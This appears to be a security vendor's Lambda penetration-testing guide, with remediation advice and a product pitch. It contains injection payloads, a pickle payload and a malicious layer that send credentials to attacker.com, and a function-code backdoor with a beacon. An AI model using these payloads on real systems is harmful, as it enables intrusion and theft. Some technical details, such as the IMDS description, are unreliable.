The Lambda Security Threat Model

AWS Lambda introduces a security model that differs significantly from traditional web applications. Key attack surfaces include:

  • IAM execution roles — Lambda functions run with an attached IAM role, which is accessible from within the function via IMDS. Over-permissive roles are common.
  • Environment variables — Secrets are frequently stored as plaintext Lambda environment variables, visible in the AWS Console and in CloudTrail logs.
  • Event data injection — Lambda processes untrusted event data from API Gateway, S3, SQS, SNS, DynamoDB streams. Injection attacks target the function logic.
  • Lambda layers — Shared code layers can be poisoned if layer permissions are misconfigured.
  • Function URLs and API Gateway — Public Lambda function URLs and API Gateway integrations expose functions to the internet.
  • Execution environment persistence — Lambda containers are reused across invocations, enabling some persistence attacks.

Phase 1: Enumeration and Reconnaissance

Listing Lambda Functions

# List all functions in the region
aws lambda list-functions --region us-east-1 | \
  jq '.Functions[] | {name: .FunctionName, runtime: .Runtime, role: .Role, handler: .Handler}'

# Get function configuration (includes env vars if you have lambda:GetFunction)
aws lambda get-function --function-name my-function | jq .

# Get just the function configuration (less sensitive, fewer permissions needed)
aws lambda get-function-configuration --function-name my-function

# List all layers used by a function
aws lambda get-function-configuration --function-name my-function | \
  jq '.Layers[].Arn'

# List function URLs (direct HTTP invocation endpoints)
aws lambda list-function-url-configs --function-name my-function

Finding Functions via Other Services

# Find Lambda functions attached to API Gateway
aws apigateway get-rest-apis | jq '.items[].id' | \
  xargs -I{} aws apigateway get-resources --rest-api-id {}

# Find Lambda functions via CloudWatch log groups
aws logs describe-log-groups --log-group-name-prefix "/aws/lambda/" | \
  jq '.logGroups[].logGroupName'

# Find functions via EventBridge rules
aws events list-rules | jq '.Rules[].Name' | \
  xargs -I{} aws events list-targets-by-rule --rule {}

# Enumerate using Pacu
pacu --module lambda__enum

Identifying Function URLs and Public Endpoints

# List all function URLs
aws lambda list-function-url-configs --function-name [name] | \
  jq '{url: .FunctionUrlConfigs[].FunctionUrl, auth: .FunctionUrlConfigs[].AuthType}'

# AuthType: NONE = publicly accessible without signing
# AuthType: AWS_IAM = requires SigV4 signing

# Check API Gateway stage for public Lambda integrations
aws apigateway get-stages --rest-api-id [id] | jq '.item[].stageName' | \
  xargs -I{} aws apigateway get-deployment --rest-api-id [id] --deployment-id {}

Phase 2: Environment Variable Secret Theft

Extracting Secrets via AWS API

If you have lambda:GetFunction permissions, environment variables are returned in plaintext:

# Get all environment variables for a function
aws lambda get-function --function-name my-function | \
  jq '.Configuration.Environment.Variables'

# Bulk extraction — all functions
aws lambda list-functions | jq -r '.Functions[].FunctionName' | while read fn; do
  echo "=== $fn ==="
  aws lambda get-function --function-name "$fn" 2>/dev/null | \
    jq '.Configuration.Environment.Variables // empty'
done

# Common secrets to look for in env vars:
# DATABASE_URL, DB_PASSWORD, API_KEY, SECRET_KEY, AWS_SECRET_ACCESS_KEY,
# STRIPE_SECRET_KEY, SENDGRID_API_KEY, TWILIO_AUTH_TOKEN, JWT_SECRET

Extracting Secrets from Inside the Function (IMDS)

When you have code execution within a Lambda function (via injection or direct invocation), the IMDS endpoint reveals the execution role credentials:

# From inside Lambda execution context:
# Credentials are available via IMDS v2 (Lambda always uses v2)
TOKEN=$(curl -s -X PUT "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['Token'])")

# Simpler: Lambda sets these env vars automatically
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN

# Use these to escalate via the function's IAM role
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name [function-role-name]

CloudTrail Log Analysis for Secret Leakage

# Lambda env vars are logged in GetFunction API calls in CloudTrail
# Check CloudTrail for historical env var exposure
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetFunction \
  --max-results 50 | jq '.Events[].CloudTrailEvent | fromjson | .requestParameters'

Phase 3: Event Injection Attacks

SQL Injection via Lambda Event Data

Lambda functions processing API Gateway events often pass event data directly to database queries:

# API Gateway POST → Lambda → RDS
# Inject via request body
curl -X POST https://api.target.com/users \
  -H "Content-Type: application/json" \
  -d '{"userId": "1 OR 1=1--", "name": "test"}'

# Inject via path parameters (API Gateway path params passed to Lambda)
curl "https://api.target.com/users/1%27%20OR%20%271%27%3D%271"

# Inject via query string parameters
curl "https://api.target.com/users?id=1+UNION+SELECT+username,password+FROM+admin--"

NoSQL Injection via DynamoDB Lambda Functions

# Typical vulnerable pattern: direct event data → DynamoDB query
# Inject operator overloading
curl -X POST https://api.target.com/login \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# FilterExpression injection
curl -X GET "https://api.target.com/items?filter=attribute_exists(sensitiveField)"

SSRF via Lambda HTTP Clients

# Lambda functions that fetch URLs based on user input are SSRF targets
# Target: IMDS (IMDSv1 if not disabled)
curl -X POST https://api.target.com/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Even with IMDSv2, Lambda uses a different IMDS endpoint:
# http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl -X POST https://api.target.com/fetch \
  -d '{"url": "http://169.254.170.2/latest/credentials"}'

# Internal services accessible from Lambda VPC
curl -X POST https://api.target.com/fetch \
  -d '{"url": "http://internal-rds.company.internal:5432"}'

Command Injection in Lambda Functions

# Lambda functions using subprocess or shell commands
# Image processing Lambda calling ImageMagick:
curl -X POST https://api.target.com/process \
  -F "filename=test.jpg;ls /tmp"

# Deserialization attacks (Python pickle, Java serialization in Lambda)
# Generate malicious pickle payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl attacker.com/$(cat /proc/self/environ|base64)',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

Phase 4: IAM Role Abuse from Lambda

Auditing the Execution Role

# Get the execution role ARN
aws lambda get-function-configuration --function-name [fn] | \
  jq -r '.Role'

# Extract role name from ARN
ROLE_NAME=$(aws lambda get-function-configuration --function-name [fn] | \
  jq -r '.Role' | cut -d/ -f2)

# List all attached managed policies
aws iam list-attached-role-policies --role-name $ROLE_NAME

# List inline policies
aws iam list-role-policies --role-name $ROLE_NAME

# Get full policy document
aws iam get-role-policy --role-name $ROLE_NAME --policy-name [policy-name]

# Use cloudsplaining to find privilege escalation paths
cloudsplaining scan-role --name $ROLE_NAME

Common Over-Permissive Lambda Roles

# The "AdministratorAccess" anti-pattern
# Check for wildcard permissions
aws iam get-role-policy --role-name [role] --policy-name [policy] | \
  jq '.PolicyDocument.Statement[] | select(.Effect=="Allow" and .Action=="*")'

# Common misconfigured policies:
# s3:* on * — allows listing and reading all S3 buckets
# dynamodb:* on * — full DynamoDB access
# secretsmanager:GetSecretValue on * — read ALL secrets
# iam:PassRole — can escalate to any other role
# lambda:InvokeFunction — can invoke any Lambda (including privileged ones)

# Check for Secrets Manager access
aws iam simulate-principal-policy \
  --policy-source-arn [role-arn] \
  --action-names secretsmanager:GetSecretValue \
  --resource-arns "*"

Stealing Credentials via Lambda Invocation

# If you can invoke a Lambda function, you can extract its role credentials
# via an injection payload that exfiltrates env vars
aws lambda invoke --function-name [fn] \
  --payload '{"cmd": "env"}' \
  --cli-binary-format raw-in-base64-out \
  /tmp/output.json && cat /tmp/output.json

Phase 5: Lambda Layer Poisoning

Finding Over-Permissive Layer Policies

# List layer versions and their permissions
aws lambda list-layers | jq '.Layers[].LayerArn' | \
  xargs -I{} aws lambda get-layer-version-policy --layer-name {} --version-number 1 2>/dev/null

# A layer policy with Principal: * allows any AWS account to use it
# If you can update the layer and the policy is open, you can inject code

Publishing a Malicious Layer Version

# If you have lambda:PublishLayerVersion on a layer used by target functions:
# Create a malicious layer that backdoors the runtime
mkdir -p /tmp/layer/python
cat > /tmp/layer/python/backdoor.py << 'EOF'
import boto3, os, base64, urllib.request

def exfil():
    creds = {
        'key': os.environ.get('AWS_ACCESS_KEY_ID'),
        'secret': os.environ.get('AWS_SECRET_ACCESS_KEY'),
        'token': os.environ.get('AWS_SESSION_TOKEN')
    }
    urllib.request.urlopen(f"https://attacker.com/?d={base64.b64encode(str(creds).encode()).decode()}")
EOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version \
  --layer-name [target-layer] \
  --zip-file fileb://layer.zip \
  --compatible-runtimes python3.11

Phase 6: Persistence in Lambda Execution Environments

Execution Environment Reuse

Lambda reuses warm execution environments across invocations. Data written to /tmp persists across invocations in the same container:

# Backdoor persisted in /tmp (survives warm invocations, not cold starts)
import os
backdoor_path = '/tmp/.backdoor'
if not os.path.exists(backdoor_path):
    # First invocation — plant backdoor
    with open(backdoor_path, 'w') as f:
        f.write('malicious code')
    os.system(f'chmod +x {backdoor_path}')
else:
    # Subsequent invocations — execute backdoor
    os.system(backdoor_path)

Modifying Function Code for Persistence

# If you have lambda:UpdateFunctionCode permissions:
# Download current function
aws lambda get-function --function-name [fn] | \
  jq -r '.Code.Location' | xargs curl -o /tmp/function.zip

# Unzip, add backdoor, repackage
unzip /tmp/function.zip -d /tmp/function
echo "import subprocess; subprocess.Popen(['curl','https://attacker.com/beacon'])" \
  >> /tmp/function/index.py
cd /tmp/function && zip -r /tmp/backdoored.zip .

# Upload modified function
aws lambda update-function-code \
  --function-name [fn] \
  --zip-file fileb:///tmp/backdoored.zip

Security Checklist for Lambda Audits

CheckRiskCommand
Plaintext secrets in env varsHighaws lambda get-function --fn [name]
Over-permissive IAM roleCriticalcloudsplaining scan-role --name [role]
Function URL AuthType=NONEHighaws lambda list-function-url-configs
No resource-based policy restrictionMediumaws lambda get-policy --fn [name]
VPC not configured (no network isolation)Mediumaws lambda get-function-configuration --fn [name] | jq .VpcConfig
Layer from public sourceMediumCheck layer ARN account ID matches yours
No dead-letter queue (DLQ)LowOperational risk — event data may be lost
Tracing disabledLowjq .TracingConfig

Remediation

Secrets Management

# Replace environment variable secrets with Secrets Manager references
import boto3
import json

def get_secret(secret_name):
    client = boto3.client('secretsmanager')
    return json.loads(client.get_secret_value(SecretId=secret_name)['SecretString'])

# Alternatively use Parameter Store (cheaper for non-sensitive config)
def get_param(name):
    ssm = boto3.client('ssm')
    return ssm.get_parameter(Name=name, WithDecryption=True)['Parameter']['Value']

Least-Privilege IAM Roles

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "MinimalLambdaExecution",
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:*:*:log-group:/aws/lambda/my-function:*"
    },
    {
      "Sid": "SpecificDynamoDBAccess",
      "Effect": "Allow",
      "Action": [
        "dynamodb:GetItem",
        "dynamodb:PutItem"
      ],
      "Resource": "arn:aws:dynamodb:us-east-1:123456789:table/my-specific-table"
    }
  ]
}

Input Validation and Defense in Depth

  • Validate and sanitize all event input before passing to databases, shells, or HTTP clients
  • Use parameterized queries for all database operations
  • Block IMDS access at the network level using VPC security groups if Lambda doesn't need it
  • Enable AWS Lambda Power Tuning and X-Ray tracing to detect anomalous execution patterns
  • Use Lambda resource-based policies to restrict which services/accounts can invoke functions
  • Enable CloudTrail data events for Lambda to log all invocations
  • Deploy Lambda functions in a VPC with security groups limiting outbound traffic

Scan Your Serverless Applications

Ironimo automatically tests your Lambda-backed API endpoints for injection vulnerabilities, authentication weaknesses, and exposed sensitive data — using the same techniques attackers use. Get early access at ironimo.online.